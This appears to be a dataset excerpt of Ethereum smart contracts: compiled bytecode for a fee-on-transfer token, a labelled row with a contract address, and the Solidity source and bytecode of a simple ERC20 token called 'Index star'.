6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610621578082015181840152602081019050610606565b50505050905090810190601f16801561064e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106a86004803603604081101561067257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c2565b604051808215151515815260200191505060405180910390f35b61070e600480360360408110156106d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061148f565b604051808215151515815260200191505060405180910390f35b61076a6004803603602081101561073e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ad565b6040518082815260200191505060405180910390f35b6107e26004803603604081101561079657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f6565b6040518082815260200191505060405180910390f35b61083a6004803603602081101561080e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061157d565b005b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561092a5780601f106108ff5761010080835404028352916020019161092a565b820191906000526020600020905b81548152906001019060200180831161090d57829003601f168201915b5050505050905090565b600061094861094161178a565b8484611792565b6001905092915050565b60006a084595161401484a000000905090565b6000610972848484611989565b610a338461097e61178a565b610a2e856040518060600160405280602881526020016130d160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109e461178a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d899092919063ffffffff16565b611792565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b6000610afe610a6261178a565b84610af98560046000610a7361178a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4990919063ffffffff16565b611792565b6001905092915050565b600080610b21610b1784611ed1565b8460006001611f89565b505091505080915050919050565b6000600554905090565b610b4161178a565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c72656164792065786368616e6765000000000081525060200191505060405180910390fd5b610ccb81611ed1565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d62600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546006546122df90919063ffffffff16565b6006819055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ea357600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610eaf565b610eac82611ed1565b90505b919050565b610ebc61178a565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110b661178a565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611177576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611236576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4163636f756e74206e6f742065786368616e676500000000000000000000000081525060200191505060405180910390fd5b600061125561124483611ed1565b8361124e85611ed1565b6000611f89565b509250505061126382611ed1565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008111156112ba576112b98282612329565b5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600654905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113b85780601f1061138d576101008083540402835291602001916113b8565b820191906000526020600020905b81548152906001019060200180831161139b57829003601f168201915b5050505050905090565b60006114856113cf61178a565b846114808560405180606001604052806025815260200161314260259139600460006113f961178a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d899092919063ffffffff16565b611792565b6001905092915050565b60006114a361149c61178a565b8484611989565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61158561178a565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611646576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806130426026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061311e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806130686022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806130f96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061301f6023913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b385750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4d57611b48838383612527565b611d84565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bf05750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0557611c0083838361273b565b611d83565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ca95750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cbe57611cb983838361293d565b611d82565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d605750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7557611d70838383612b78565b611d81565b611d8083838361293d565b5b5b5b5b505050565b6000838311158290611e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611dfb578082015181840152602081019050611de0565b50505050905090810190601f168015611e285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611ec7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080611edd83612cff565b11611f2757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f82565b611f81600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7384612cff565b611e4990919063ffffffff16565b5b9050919050565b600080600080600080600080681b1ae4d6e2ef5000009050808c1015611fdf5760789250611fd4612710611fc6858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b9350600a9150612213565b808c101580156120015750611ffe600a82612e1590919063ffffffff16565b8c105b1561203c57606e9250612031612710612023858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b935060649150612212565b612050600a82612e1590919063ffffffff16565b8c10158015612071575061206e603282612e1590919063ffffffff16565b8c105b156120ac57606492506120a1612710612093858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b9350606e9150612211565b6120c0603282612e1590919063ffffffff16565b8c101580156120e157506120de606482612e1590919063ffffffff16565b8c105b1561211c57605a9250612111612710612103858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b935060789150612210565b612130606482612e1590919063ffffffff16565b8c10158015612151575061214e60c882612e1590919063ffffffff16565b8c105b1561218c57604b9250612181612710612173858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b93506082915061220f565b6121a060c882612e1590919063ffffffff16565b8c106121dc57603292506121d16127106121c3858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b9350608c915061220e565b606492506122076127106121f9858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b9350600091505b5b5b5b5b5b600115158915151480156122785750612275602d600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4990919063ffffffff16565b43105b156122ac576101f492506122a961271061229b858d612e1590919063ffffffff16565b612e9b90919063ffffffff16565b93505b60006122c1858c6122df90919063ffffffff16565b90508484848398509850985098505050505050945094509450949050565b600061232183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d89565b905092915050565b61237d600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546006546122df90919063ffffffff16565b6006819055506123d581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e1590919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612486670de0b6b3a7640000612478600754600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e1590919063ffffffff16565b612e9b90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251d600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600654611e4990919063ffffffff16565b6006819055505050565b8061253184611ed1565b1015612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061308a6026913960400191505060405180910390fd5b60008060006125b46125ab8561259d88611ed1565b611e4990919063ffffffff16565b86866001611f89565b935093505092506125d6846125c888611ed1565b6122df90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126348161262687611ed1565b611e4990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126818583612329565b61268a83612ee5565b43600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b8061274584611ed1565b101561279c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061308a6026913960400191505060405180910390fd5b60008060006127b66127ad87611ed1565b87866001611f89565b935093505092506127d8816127ca87611ed1565b611e4990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128368461282888611ed1565b6122df90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128838683612329565b61288c83612ee5565b43600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b8061294784611ed1565b101561299e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061308a6026913960400191505060405180910390fd5b60008060006129b86129af87611ed1565b87866001611f89565b9350935050925060006129e86129df866129d189611ed1565b611e4990919063ffffffff16565b87876000611f89565b5092505050612a08826129fa88611ed1565b611e4990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a6685612a5889611ed1565b6122df90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab38784612329565b612abd8682612329565b612ac684612ee5565b43600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a350505050505050565b80612b8284611ed1565b1015612bd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061308a6026913960400191505060405180910390fd5b612bf481612be685611ed1565b6122df90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5281612c4484611ed1565b611e4990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612d4e576000612e0e565b612e0d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dff670de0b6b3a7640000612df1600754600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e1590919063ffffffff16565b612e9b90919063ffffffff16565b6122df90919063ffffffff16565b5b9050919050565b600080831415612e285760009050612e95565b6000828402905082848281612e3957fe5b0414612e90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130b06021913960400191505060405180910390fd5b809150505b92915050565b6000612edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f58565b905092915050565b612efa81600554611e4990919063ffffffff16565b60058190555060006006541115612f5557612f4e612f3d600654612f2f670de0b6b3a764000085612e1590919063ffffffff16565b612e9b90919063ffffffff16565b600754611e4990919063ffffffff16565b6007819055505b50565b60008083118290613004576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612fc9578082015181840152602081019050612fae565b50505050905090810190601f168015612ff65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161301057fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220168b67a2e2d1f53d405623aa096ba78d815c5d18686c1cc8232a61b0974b6c5564736f6c63430006060033 | [
38
] |
0xf3458f7674a68dcc6dca33024a197b9afd18337d | pragma solidity ^0.4.26;
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) view public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[msg.sender] = SafeMath.safeSub(_balances[msg.sender], _value);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= _balances[_from]);
require(_value <= _allowed[_from][msg.sender]);
require(_balances[_to] + _value > _balances[_to]);
_balances[_to] = SafeMath.safeAdd(_balances[_to], _value);
_balances[_from] = SafeMath.safeSub(_balances[_from], _value);
_allowed[_from][msg.sender] = SafeMath.safeSub(_allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return _balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (_allowed[msg.sender][_spender] == 0));
_allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return _allowed[_owner][_spender];
}
}
contract TokenERC20 is StandardToken {
function () public payable {
revert();
}
string public name = "Index star";
uint8 public decimals = 18;
string public symbol = "IS";
uint256 public totalSupply = 50000000*10**18;
constructor() public {
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce567146102595780636ebcf6071461028a57806370a08231146102e157806395d89b4114610338578063a9059cbb146103c8578063ba0fb8611461042d578063dd62ed3e146104a4575b600080fd5b3480156100c057600080fd5b506100c961051b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610740565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610746565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610b78565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b8b565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba3565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610bec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b50610413600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8a565b604051808215151515815260200191505060405180910390f35b34801561043957600080fd5b5061048e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2a565b6040518082815260200191505060405180910390f35b3480156104b057600080fd5b50610505600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b505050505081565b60008082148061064557506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561065057600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561078357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085c57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156108ea57600080fd5b610933600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fd6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109bf600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611000565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a88600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611000565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60016020528060005260406000206000915090505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c825780601f10610c5757610100808354040283529160200191610c82565b820191906000526020600020905b815481529060010190602001808311610c6557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cc757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d1557600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610da357600080fd5b610dec600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611000565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e78600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fd6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110158015610fee5750828110155b1515610ff657fe5b8091505092915050565b600082821115151561100e57fe5b8183039050929150505600a165627a7a7230582020f29b489bad90727b9eba92d5a89caeab1